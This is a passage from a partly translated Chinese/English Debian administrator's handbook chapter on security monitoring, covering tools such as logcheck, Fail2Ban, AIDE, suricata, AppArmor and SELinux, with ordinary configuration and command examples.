例 14.1. 接口（interfaces） 文件调用防火墙脚本

auto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

以上内容显然假设您正在使用 ifupdown 来配置网络接口。如果您正在使用其它工具（例如 NetworkManager 或 systemd-networkd），那么您需要参考他们对应的文档来了解接口被启动后执行脚本的配置方式。

14.3. 监督：预防，检测，威慑

Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes 第 12.4 节 “监控”.

14.3.1. 使用 logcheck 监视日志

logcheck 程序默认每小时监视日志文件。它会把异常日志信息通过邮件发给管理员分析。

The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/rsyslog.conf file has not been completely overhauled.

logcheck 可以以三种模式中的一种或几种工作：偏执（paranoid）, 服务器（server） 和 工作站（workstation）。第一种模式是非常详细的，应该只限于特殊服务器，例如防火墙。推荐大多数服务器使用第二个（也是默认）模式。最后一个用于工作站，更简明（过滤掉了更多信息）。

在三种情况下，logcheck 可以被定制以排除某些信息（取决于安装的服务），除非管理员真想每小时收到一批不感兴趣的邮件。由于信息筛选机制相当复杂，如果碰到问题就需要翻阅 /usr/share/doc/logcheck-database/README.logcheck-database.gz。

适用的规则可以分成几种类型：

- 被认为是尝试侵入的信息（文件存储在 /etc/logcheck/cracking.d/ 目录中）；

- 取消限制的信息（/etc/logcheck/cracking.ignore.d/）；

- 被标识为安全警报的信息（/etc/logcheck/violations.d/）；

- 取消此类标识的信息（/etc/logcheck/violations.ignore.d/）；

- 最后是，剩余的信息（可以考虑为系统事件）。

注意忽略信息

任何被标识为侵入尝试和安全警报的信息（按照 /etc/logcheck/violations.d/myfile 文件中的规则）只能由 /etc/logcheck/violations.ignore.d/myfile 或者 /etc/logcheck/violations.ignore.d/myfile-extension 文件中定义的规则忽略。

系统事件总是会被发送，除非在 /etc/logcheck/ignore.d.{paranoid,server,workstation}/ 目录中的规则指明某些事件要被忽略。当然，只有相应详细等级等于或大于所选择模式的目录会起作用。

14.3.2. 监视行为

14.3.2.1. 实时

top 是一个可以显示目前正在运行进程的交互工具。默认排序基于处理器的使用量，可以通过 P 键获取。其他排序方法包括内存使用量（M 键），总处理器时间（T 键）和处理器标识（N 键）。k 键允许输入进程标识结束进程。r 键可以 renicing 进程，例如改变优先级。

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top 是一个很灵活的工具，手册页中详列了如何定制显示并让其适于个人需求和习惯。

gnome-system-monitor 图形工具和 top 类似，并提供大体上相同的特性。

14.3.2.2. 历史

处理器负载，网络流量和空闲磁盘空间是一直在变化的信息。记录它们的演变常常可以用来确定电脑是如何使用的。

有很多专门工具可用于此类任务。很多可以通过 SNMP（简单网络管理协议）获取数据，集中信息。这样的好处之一是可以从非通用计算机，例如专用的网络路由器或者交换机上获取数据。

This book deals with Munin in some detail (see 第 12.4.1 节 “搭建 Munin”) as part of 第 12 章: “高级管理”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

选择 mrtg

mrtg（在相似名称的软件包在）是一个较老的工具。尽管有些不足，但是它可以收集历史数据并以图形显示。它包含了一系列脚本用于收集最常用的监视数据，例如：处理器负载，网络流量，网页点击量，等等。

mrtg-contrib 和 mrtgutils 软件包含有可以直接使用的示例脚本。

14.3.3. 避免入侵

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

- fail2ban.conf。全局配置（如日志记录）。

- filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

- action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

- jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...]

[DEFAULT]

[...]

bantime   = 10m

[...]

findtime  = 10m

[...]

maxretry  = 5

[...]

[sshd]

port     = ssh

logpath  = %(sshd_log)s

backend  = %(sshd_backend)s

Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes.

To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory.

Fail2Ban 是一种非常简单而有效的方法，可以抵御最常见的暴力攻击，但它无法抵御分布式暴力攻击，即当攻击者使用大量分散在互联网上的计算机时。

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. 侦测变化

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. 用dpkg --verify审计软件包

进阶 防止上游变化

dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see 第 6.6 节 “检查软件包真实性”), and taking care to only install packages from a certified origin.

dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.

BACK TO BASICS File fingerprint

As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.

Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).

# dpkg -V

??5??????   /lib/systemd/system/ssh.service

??5?????? c /etc/libvirt/qemu/networks/default.xml

??5?????? c /etc/lvm/lvm.conf

??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. 审核软件包：debsums 及其限制

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

注意本例使用 dctrl-tools 软件包中的 grep-status 命令，该命令默认情况下没有安装。

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. 监视文件：AIDE

AIDE（Advanced Intrusion Detection Environment ）工具可以检查文件完整性，侦测系统之前文件镜像的任何变化。这种影响以数据库（/var/lib/aide/aide.db）形式储存，包含了系统上所有文件的相关信息（指纹，权限，时间戳，等等）。该数据库使用 aideinit命令初始化；然后每天（通过 /etc/cron.daily/aide 脚本）检查有无任何相关改变。如果探测到变化，AIDE 会将其记入文件（/var/log/aide/*.log）并将发现通过邮件发送给管理员。

实践 保护数据库

由于 AIDE 使用本地数据库来比较文件的状态，因此结果的有效性和数据库的有效性直接相关。如果攻击者获得超级用户权限，他就能替换数据库并覆盖其痕迹。一个可能的替代方案就是将参考数据储存在只读媒介上。

/etc/default/aide 中的很多选项可以用于调整 aide 软件包行为。AIDE 配置存储在 /etc/aide/aide.conf 和 /etc/aide/aide.conf.d/（实际上，这些文件只用于 update-aide.conf 生成 /var/lib/aide/aide.conf.autogenerated）。配置指明哪些文件的哪些特性需要检查。譬如，日志文件的内容会有常规更新，只要这些文件的读写权限保持不变，那么就可以忽略这些变化。但是，可执行程序的内容和权限必须是不变的。虽然不是很复杂，但是配置的语法不是很直观，推荐阅读 aide.conf(5) 手册。

新版本的数据库每天生成在 /var/lib/aide/aide.db.new；如果所有记录的变化都是合法的，就可以用它替代参考数据库。

选择 Tripwire 和 Samhain

Tripwire 和 AIDE 非常相似；甚至是配置文件的语法都几乎相同。tripwire 所提供的额外特性是签名配置文件机制，这样攻击者就不能将其指向不同版本的参考数据库。

Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar 速览 checksecurity 和 chkrootkit/rkhunter 软件包). It can also be deployed globally on a network, and record its traces on a central server (with a signature).

速览 checksecurity 和 chkrootkit/rkhunter 软件包

三个软件包中，第一个包含了几个小脚本进行系统上的基础检查（空白口令，新的设置身份文件，等等）并警告管理员。尽管其名为“安全检查”，但是管理员不应该仅仅指望它来确保 Linux 系统安全。

chkrootkit 和 rkhunter 软件包可以搜索系统上安装的潜在 恶意软件（rootkits）。提示，此类软件被设计成掩盖系统已经被攻破，并谨慎的控制机器。检测并不能保证100%可靠，但是他们可以将管理员的注意力吸引到潜在问题上。

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. 侦测入侵（IDS/NIDS）

回到基础 拒绝服务

“拒绝服务”攻击只有一个目的：让服务不可用。不管是通过查询使服务器过载还是利用缺陷，最终目的都是一样的：服务不再运行。正常用户就会不悦，提供网络服务的实体声誉遭受损失（可能是营收，譬如，使用服务的是一个电子商务网站）。

Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

注意 行动范围

The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

进阶 与 prelude 集成

Prelude 将各种安全信息集中化。它的模块结构包含了服务器（prelude-manager 中的管理器）收集由各种类型的 传感器（sensors） 产生的警报信息。

Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in 第 14.3.1 节 “使用 logcheck 监视日志”).

14.4. AppArmor 简介

14.4.1. 原理

AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in 第 14.5 节 “SELinux 简介”), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.

14.4.2. 启用 AppArmor 和管理 AppArmor 配置文件

AppArmor 支持已经内置于 Debian 提供的标准内核中。因此，启用 AppArmor 只需以 root 权限执行 apt install apparmor apparmor-profiles apparmor-utils 来安装一些软件包。

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status

apparmor module is loaded.

32 profiles are loaded.

15 profiles are in enforce mode.

/usr/bin/man

[...]

17 profiles are in complain mode.

/usr/sbin/dnsmasq

[...]

1 processes have profiles defined.

1 processes are in enforce mode.

/usr/sbin/libvirtd (468) libvirtd

0 processes are in complain mode.

0 processes are unconfined but have a profile defined.

注意 更多的 AppArmor 配置文件

The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin

Setting /usr/bin/pidgin to enforce mode.

# aa-complain /usr/sbin/dnsmasq

Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. 创建新的配置文件

即使创建 AppArmor 配置文件相当容易，但大多数程序没有。本节将向你展示如何通过使用目标程序，让 AppArmor 监视其进行的系统调用及其访问的资源，从头开始创建新配置文件。

The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection.

# aa-unconfined

451 /usr/bin/containerd not confined

467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined

892 /usr/sbin/exim4 not confined

In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient

Writing updated profile for /usr/sbin/dhclient.

Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you

wish to confine. See the following wiki page for

more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

S

Reading log entries from /var/log/syslog.

Profile:  /usr/sbin/dhclient

Execute:  /usr/sbin/dhclient-script

Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish

P

Should AppArmor sanitise the environment when

switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence

of LD_PRELOAD or LD_LIBRARY_PATH.

[(Y)es] / (N)o

Y

Writing updated profile for /usr/sbin/dhclient-script.

Complain-mode changes:

Profile:    /usr/sbin/dhclient

Capability: net_raw

Severity:   8

[1 - capability net_raw,]

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding capability net_raw, to profile.

Profile:    /usr/sbin/dhclient

Capability: net_bind_service

Severity:   8

[1 - #include <abstractions/nis>]

2 - capability net_bind_service,

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding #include <abstractions/nis> to profile.

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/openssl>

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

2

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

1 - #include <abstractions/lightdm>

[2 - #include <abstractions/openssl>]

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore

A

[...]

Profile:  /usr/sbin/dhclient-script

Path:     /usr/bin/dash

New Mode: owner r

Severity: unknown

1 - #include <abstractions/gvfs-open>

[2 - #include <abstractions/lightdm>]

3 - #include <abstractions/ubuntu-browsers.d/plugins-common>

4 - #include <abstractions/xdg-open>

5 - owner /usr/bin/dash r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

A

Adding #include <abstractions/lightdm> to profile.

Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]

2 - /usr/sbin/dhclient-script

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t

S

Writing updated profile for /usr/sbin/dhclient.

Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F

Setting /usr/sbin/dhclient to enforce mode.

Setting /usr/sbin/dhclient-script to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

See the following wiki page for more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).

Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.

At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.

aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too.

14.5. SELinux 简介

14.5.1. 原理

SELinux （安全增强－Security Enhanced Linux）是一种基于Linux LSM（Linux 安全模块）的强制访问控制系统。实际上，内核在执行系统调用前会询问 SELinux 进程是否获得了执行操作的授权。

SELinux 使用一套规则－合称为策略－来授权或禁止操作。这些规则较难创建。幸好，有两种标准策略（针对－targeted 和 严格－strict）可以避免大量的配置工作。

在 SELinux 中，权限的管理完全不同于传统的 Unix 系统。进程的权限取决于它的安全上下文。上下文由唤起该进程的用户身份定义，即该时刻用户具有的角色和域。权限实际上取决于域，但是在域之间转换由角色控制。角色之间的转换取决于身份。

图 14.1. 安全上下文和 Unix 用户

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).

补充域和类型等效

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.

图 14.2. 域之间的自动转换

实践找到安全上下文

要在命令行中显示当前的安全上下文，应当调用 id -Z。

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting.

要找到指定进程的安全上下文，就要在 ps 命令中使用 Z 选项。

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

第一个区段包含了身份，角色，域和 MCS 等级，使用冒号分隔。MCS 等级（多类别安全－Multi-Category Security）是一个参数，它会影响保护策略的机密性，进而基于敏感性管制对文件的访问。本书中，此特性将不做详细解释。

要显示赋予文件的类型，使用 ls -Z。

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

注意要将身份和角色赋予不是特别重要的文件（从未使用过），但是为了统一，所有的对象都被赋予完整的安全上下文。

14.5.2. 设置 SELinux

SELinux 支持嵌入到 Debian 提供的标准内核中。Unix 核心工具无需修改就支持 SELinux。因此，启用 SELinux 也相对容易。

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section).

一旦策略安装，就要标识全部有效文件（即给它们赋予类型）。该操作必须使用 fixfiles relabel 命令手工启动。

The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot.

注意在下次启动时，用 selinux-activate 脚本自动化这些操作并强制标识（避免无标识的文件在 SELinux 未生效或正在标识的时候被创建）。

14.5.3. 管理 SELinux 系统

SELinux 策略是一系列的模块化规则集合，安装时它会基于已经安装的服务自动探测并启用相关模块。系统立即可操作。然而，如果一个服务是在 SELinux 策略之后安装的，就要手动启用相应模块了。semodule 命令可以实现该目的。还必须用 semanage 命令，定义每个用户可用的角色。

这两个命令可以用于修改当前 SELinux 存储在 /etc/selinux/default/ 的配置。不像其他配置文件，可以在 /etc/ 中的其他配置文件，这些文件不能手工修改。应当使用相应的程序来修改。

进阶更多文档

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page.

→ https://wiki.debian.org/SELinux

14.5.3.1. 管理 SELinux 模块

Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2).

Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2

libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.

# semodule -l

accountsd

acct

[...]

# semodule -e abrt

# semodule -d accountsd

# semodule -l

abrt

acct

[...]

# semodule -r abrt

libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule 立即加载新配置，除非使用了 -n 选项。需要注意的是在当前配置默认启用的程序（由在 /etc/selinux/config 文件中的 SELINUXTYPE 变量指明），可以使用 -s 选项来修改和储存其他的。注意不同版本支持的选项可能不同。

14.5.3.2. 管理身份

每次用户登录，就会被赋予一个 SELinux 身份。该身份定义了他们可以使用的角色。这两种映射（从用户到身份，从该身份到角色）使用 semanage 命令配置。

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l 列出当用户身份和 SELinux 身份之间的映射。没有指明登记项的用户会使用 __default__ 登记项。 semanage login -a -s user_u user 命令会关联 user_u 身份到指定用户。semanage login -d user 会移除赋予用户的映射登记项。

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *

rhertzog             user_u               s0                   *

root                 unconfined_u         s0-s0:c0.c1023       *

# semanage login -d rhertzog

semanage user -l 列出 SELinux 用户身份和允许的角色之间的映射。添加一个新的身份需要定义相应的角色和用于给个人文件赋予类型的标识前缀（/home/user/*）。前缀必须从 user，staff，和 sysadm 之间挑选。staff 前缀生成 staff_home_dir_t 类型文件。创建新的用户身份使用 semanage user -a -R roles -P prefix identity。使用 semanage user -d identity 移除用户身份。

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling   MLS/       MLS/

SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r

staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r

sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r

system_u        user       s0         s0-s0:c0.c1023                 system_r

test_u          staff      s0         s0                             staff_r user_r

unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r

user_u          user       s0         s0                             user_r

# semanage user -d test_u

14.5.3.3. 管理文件上下文，端口和布尔值

每个 SELinux 模块提供了一套标识规则，但是也可以添加定制的标识规则来满足特殊情况。例如，如果想要网页服务器能读取 /srv/www/ 里面的文件，就要执行 semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" 和 restorecon -R /srv/www/。前者注册新的标识规则，后者根据当前标识规则重置文件类型。

Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080.

